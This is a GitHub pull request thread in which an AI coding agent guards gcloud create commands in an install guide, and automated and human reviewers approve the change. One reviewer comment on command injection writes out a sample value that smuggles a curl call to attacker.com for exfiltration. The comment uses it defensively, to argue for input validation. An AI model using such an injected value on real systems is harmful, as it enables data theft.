fix(#644): make GCP resource creation commands idempotent for reinstall

[fullsend-ai-coder]

Guard all gcloud create commands in the installation guide with a describe check so they skip creation when the resource already exists. This prevents the misleading PERMISSION_DENIED error users hit when re-running the installation steps during an upgrade.

Fixes #644

Co-Authored-By: Claude Opus 4.6 noreply@anthropic.com

---

Closes #644

Post-script verification

• Branch is not main/master (agent/644-idempotent-gcp-install-commands)
• Secret scan passed (gitleaks — 11854d30069a6f5f3812c964d2a399b6bee20efc..HEAD)
• Pre-commit hooks passed (authoritative run on runner)
• Tests ran inside sandbox

[github-actions]

fullsend review is working on this — view logs

[github-actions]

Site preview

Preview: https://bbf10d31-site.fullsend-ai.workers.dev

Commit: 4e9364665926a9cda0deb573b62f56f3a2217073

[fullsend-ai-review]

Review: #800

Head SHA: 4e93646
Timestamp: 2026-05-11T12:00:00Z
Outcome: approve

Summary

Clean, well-scoped documentation fix that makes all four gcloud ... create commands in the installation guide idempotent using the describe ... 2>/dev/null || create ... pattern. Each guarded command uses the correct resource identifier, unguarded commands (add-iam-policy-binding, keys create) are correctly left alone since they are naturally idempotent or intentionally non-idempotent, and the added callout note follows existing doc conventions. No findings across any review dimension.

Findings

None.

Footer

Outcome: approve
This review applies to SHA 4e9364665926a9cda0deb573b62f56f3a2217073. Any push to the PR head clears this review and requires a new evaluation.

[ralphbean]

Strategic Assessment

✅ Approved. This PR effectively solves issue #644 by making GCP resource creation commands idempotent. The approach is sound, well-scoped, and directly addresses a real user pain point.

Review Summary

The PR successfully implements a "describe-before-create" pattern that prevents misleading PERMISSION_DENIED errors when users re-run installation steps during upgrades. The changes are documentation-only, reducing risk, and follow established shell scripting patterns.

Key strengths:

• Solves the exact problem reported in #644
• Adds clear user-facing documentation about idempotency
• Minimal, focused change (17 additions, 4 deletions)
• All CI checks pass

Deferred considerations:
I've left inline comments on three items worth considering for future improvements, but none are blocking:

• Inconsistent idempotency coverage between WIF and legacy methods
• Potential command injection via environment variables (documentation context)
• Error suppression trade-offs

These are noted for future work and don't diminish the value of this PR.

---

Recommendation: Merge when ready. The code review agents found no critical or blocking issues.

[ralphbean]

[important] Inconsistent idempotency coverage

Option A (WIF) is now fully idempotent after this PR, but Option B (legacy) still has a non-idempotent step: the gcloud iam service-accounts keys create sa-key.json command around line 131 is not guarded. If users re-run Option B and sa-key.json already exists, they'll get an error.

Recommendation for future work: Either add a guard check for key creation (e.g., test -f sa-key.json || gcloud iam service-accounts keys create...) or update the callout to clarify that Option B requires manual cleanup of sa-key.json before re-running.

Not blocking this PR since the WIF path (recommended) is fully fixed.

[ralphbean]

[important] Command injection risk via environment variables

The documentation instructs users to set $GCP_PROJECT and $ORG_NAME without validation guidance. While GCP project IDs have format restrictions, org names in the GitHub context do not. If these values contain shell metacharacters (backticks, $(), semicolons, pipes), they could be interpreted as commands.

Example:

export ORG_NAME='myorg"; curl attacker.com/exfil #'

Context: Since this is documentation for commands users run manually in their own shell (not executable code), the risk is lower. However, users copy/pasting might not realize the validation requirement.

Recommendation for future work: Add a validation note at the beginning of section 1 warning users to verify their environment variables don't contain special characters, or provide example validation:

if [[ ! "$GCP_PROJECT" =~ ^[a-z][a-z0-9-]{4,28}[a-z0-9]$ ]]; then
  echo "Invalid GCP_PROJECT format"
  exit 1
fi

Deferred to future documentation improvements.

[ralphbean]

[moderate] Error suppression trade-offs

The 2>/dev/null pattern suppresses all stderr from the describe commands, not just "NOT_FOUND" errors. This hides legitimate problems including:

• Actual permission issues (if user lacks iam.serviceAccounts.get)
• Authentication failures
• Network errors
• Malformed project IDs
• API quota exhaustion

Trade-off analysis:

• Pro: Cleaner UX when resources already exist (no scary error messages)
• Con: Users with real permission problems won't see helpful error messages

Impact: Moderate because the create command errors are NOT suppressed, so users will eventually see an error—it just might be confusing which operation actually failed.

Alternative for future consideration: More selective error handling that only suppresses NOT_FOUND (though this is more complex in shell). Or add troubleshooting guidance that if resources don't appear to be created, manually verify permissions.

Acceptable UX trade-off for now, but worth documenting for maintainability.

[rh-hemartin]

I dont think this is required anymore.